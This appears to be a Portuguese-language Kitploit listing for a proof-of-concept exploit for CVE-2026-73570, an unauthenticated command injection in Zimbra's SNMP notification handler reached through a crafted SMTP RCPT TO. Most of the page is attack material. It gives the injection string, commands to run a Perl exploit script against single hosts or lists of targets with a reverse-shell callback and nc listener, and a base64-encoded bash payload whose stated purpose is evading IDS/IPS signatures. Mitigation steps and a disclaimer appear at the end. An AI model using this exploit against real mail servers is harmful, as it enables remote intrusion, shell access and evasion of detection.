Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-73570 — Zimbra SNMP Notification Injeção de Comando no Sistema Operacional — RCE não autenticado via exploit SMTP (Poc) | Kitploit
Ferramentas/GitHubGitHub/gabrielunknown/cve-2026-73570
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP Notification Injeção de Comando no Sistema Operacional — RCE não autenticado via exploit SMTP (Poc)

Ver Repositório
4191há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-73570 — Exploit de RCE via Notificação SNMP do Zimbra ZCS (PoC)

Execução Remota de Código Não Autenticada via Injeção de Comando de SO no manipulador de notificações SNMP do Zimbra Collaboration Suite.


Visão Geral

CampoValor
CVECVE-2026-73570
CVSS 3.18.9 ALTA — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Neutralização Incorreta de Elementos Especiais usados em um Comando de SO
AfetadoZimbra ZCS < 10.1.20 (com zimbra-snmp instalado)
Corrigido emZCS 10.1.20 — Julho de 2026
CISA KEVAdicionado em 2026-08-21 (prazo de remediação FCEB: 2026-08-24)
Autenticação necessáriaNenhuma
Execução comousuário de SO zimbra

Causa Raiz

O pacote opcional zimbra-snmp inclui uma regra swatchdog que monitora /var/log/zimbra.log em busca de linhas que correspondam a:

Service status change: <NAME> changed from <STATE> to <STATE>

Quando uma correspondência é encontrada, o swatchdog passa o campo <NAME> capturado diretamente para o script de shell de notificação SNMP sem qualquer sanitização.

Um atacante não autenticado pode injetar uma entrada de log elaborada enviando um comando SMTP RCPT TO especialmente formatado. Usando um local-part entre aspas conforme a RFC 5321, metacaracteres de shell — por exemplo, $(...) — são incorporados dentro de <NAME> e executados quando o swatchdog processa a linha de log resultante.


Pré-condições

Todas as três condições devem ser verdadeiras no alvo para que a vulnerabilidade seja explorável:

  • O pacote zimbra-snmp está instalado
  • As notificações SNMP estão habilitadas (snmp_notify = true)
  • O serviço swatchdog está em execução

Fluxo do Ataque

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Conecte-se à porta 25 / 465 / 587.
  2. Envie uma conversa SMTP padrão com o RCPT TO armado.
  3. O Zimbra registra os dados do endereço independentemente de aceitar/rejeitar.
  4. O swatchdog corresponde ao padrão do log e extrai o $(CMD) injetado.
  5. O manipulador SNMP executa CMD como o usuário do sistema operacional zimbra.

Exploit

Requisitos

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

ou via apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

ou via yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Alvo único

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Lista de alvos

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — um host por linha, :port opcional, linhas que começam com # são ignoradas:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

Todas as opções

FlagLongaPadrãoDescrição
-H--host—Nome de host ou IP de destino único
-f--file—Arquivo contendo a lista de alvos
-p--port587Porta SMTP padrão
-r--rhost—Seu IP para o callback do reverse shell
-R--rport4444Porta do listener
-t--timeout15Timeout do socket em segundos
-S--ssloffTLS direto (ativado automaticamente na porta 465)
-v--verboseoffExibir o diálogo SMTP completo
-L--logfile—Gravar o log da sessão em arquivo
-h--help—Mostrar ajuda

Exemplo completo

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Técnica de payload

O comando de reverse shell é codificado em base64 antes da injeção:

echo <b64>|base64 -d|bash

Isso impede que IDS/IPS correspondam a assinaturas de texto simples como /dev/tcp, bash -i ou nc -e. O blob codificado é injetado como $(...) dentro da parte local entre aspas do RCPT TO, acionando a execução no lado do servidor quando o swatchdog processa a entrada de log.


Mitigação

AçãoDetalhe
PatchAtualize para Zimbra ZCS ≥ 10.1.20
Desativar notificação SNMPzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Remover pacoteapt remove zimbra-snmp / yum remove zimbra-snmp
Controles de redeRestrinja o SMTP de entrada (25/465/587) a relays confiáveis onde for operacionalmente viável

Referências

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

Aviso legal

Esta prova de conceito é disponibilizada apenas para testes de segurança autorizados, pesquisa acadêmica e fins defensivos.
Executá-la contra sistemas que você não possui ou para os quais não tem permissão escrita explícita de teste é ilegal.
O autor não assume qualquer responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta.


Baixar ferramenta